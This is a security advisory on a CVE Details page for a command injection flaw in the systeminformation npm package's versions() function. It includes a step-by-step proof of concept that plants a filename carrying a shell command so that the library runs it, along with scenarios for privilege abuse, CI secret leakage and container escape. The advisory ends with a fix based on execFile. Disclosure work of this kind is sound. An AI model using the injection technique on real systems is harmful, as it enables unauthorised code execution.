CVE-2026-26318 — Vulnerability in systeminformation — CVE Details

# Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation **Package:** systeminformation (npm) **Tested Version:** 5.30.7 **Affected Platform:** Linux **Author:** Sebastian Hildebrandt **Weekly Downloads:** ~5,000,000+ **Repository:** https://github.com/sebhildebrandt/systeminformation **Severity:** Medium **CWE:** CWE-78 (OS Command Injection) --- ### The Vulnerable Code Path Inside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this: ```javascript // lib/osinfo.js — lines 770-776 exec('locate bin/postgres', (error, stdout) => { if (!error) { const postgresqlBin = stdout.toString().split('\n').sort(); if (postgresqlBin.length) { exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => { // parses version string... }); } } }); ``` Here's what happens step by step: 1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries 2. It splits the output by newline and sorts the results alphabetically 3. It takes the **last element** (highest alphabetically) 4. It concatenates that path directly into a new `exec()` call with `+ ' -V'` **No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.** The `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to `exec()`. --- ## Exploitation ### Prerequisites For this vulnerability to be exploitable, the following conditions must be met: 1. **Target system runs Linux** — the vulnerable code path is inside an `if (_linux)` block 2. **`locate` / `plocate` is installed** — common on Ubuntu, Debian, Fedora, RHEL 3. **PostgreSQL binary exists in the locate database** — so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback) 4. **The attacker can create files on the filesystem** — in any directory that gets indexed by `updatedb` 5. **The locate database gets updated** — `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros ### Step 1 — Verify the Environment On the target machine, confirm locate is available and running: ``` which locate # /usr/bin/locate systemctl list-timers | grep plocate # plocate-updatedb.timer plocate-updatedb.service # (runs daily, typically around 1-2 AM) ``` Check who owns the locate database: ``` ls -la /var/lib/plocate/plocate.db # -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db ``` Database is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files. ### Step 2 — Craft the Malicious File Path The key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**. Create a file whose path contains an injected command: ``` mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin" touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres" ``` Verify it exists: ``` find /var/tmp -name postgres # /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ``` This file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes: ``` sudo updatedb ``` Then verify locate picks it up: ``` locate bin/postgres # /usr/lib/postgresql/14/bin/postgres # /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ``` ### Step 3 — Understand the Sort Trick The vulnerable code sorts the locate results alphabetically and takes the **last** element: ```javascript const postgresqlBin = stdout.toString().split('\n').sort(); exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...); ``` Alphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one: ``` Node.js sort order: [0] /usr/lib/postgresql/14/bin/postgres ← legitimate [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ← selected (last) ``` Quick verification: ``` node -e " const paths = [ '/usr/lib/postgresql/14/bin/postgres', '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres' ]; console.log('Sorted:', paths.sort()); console.log('Selected (last):', paths[paths.length - 1]); " ``` Output: ``` Sorted: [ '/usr/lib/postgresql/14/bin/postgres', '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres' ] Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ``` ### Step 4 — Trigger the Vulnerability Now when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires: ```javascript const si = require('systeminformation'); // This is a normal, innocent API call si.versions('postgresql').then(data => { console.log(data); }); ``` Internally, the library builds and executes this command: ``` /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V ``` The shell (`/bin/sh -c`) interprets this as three separate commands: ``` /var/tmp/x → fails silently (not executable) touch /tmp/SI_RCE_PROOF → ATTACKER'S COMMAND EXECUTES /bin/postgres -V → runs normally, returns version ``` ### Step 5 — Verify Code Execution ``` ls -la /tmp/SI_RCE_PROOF # -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF ``` The file exists. Arbitrary command execution confirmed. The injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that's typically the application service account. --- ## Real-World Attack Scenarios ### Scenario 1 — Shared Hosting / Multi-Tenant Server A low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker's command executes under the monitoring agent's (higher-privileged) service account. ### Scenario 2 — CI/CD Pipeline Poisoning A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys. ### Scenario 3 — Container / Kubernetes Escape In containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary. --- ## Suggested Fix Replace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters: ```javascript const { execFile } = require('child_process'); exec('locate bin/postgres', (error, stdout) => { if (!error) { const postgresqlBin = stdout.toString().split('\n') .filter(p => p.trim().length > 0) .sort(); if (postgresqlBin.length) { execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => { // ... parse version }); } } }); ``` Additionally, the locate output should be validated against a safe path pattern before use: ```javascript const safePath = /^[a-zA-Z0-9/_.-]+$/; const postgresqlBin = stdout.toString().split('\n') .filter(p => safePath.test(p.trim())) .sort(); ``` --- ## Disclosure - **Reported via:** GitHub Private Security Advisory - **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new - **Security Contact:** security@systeminformation.io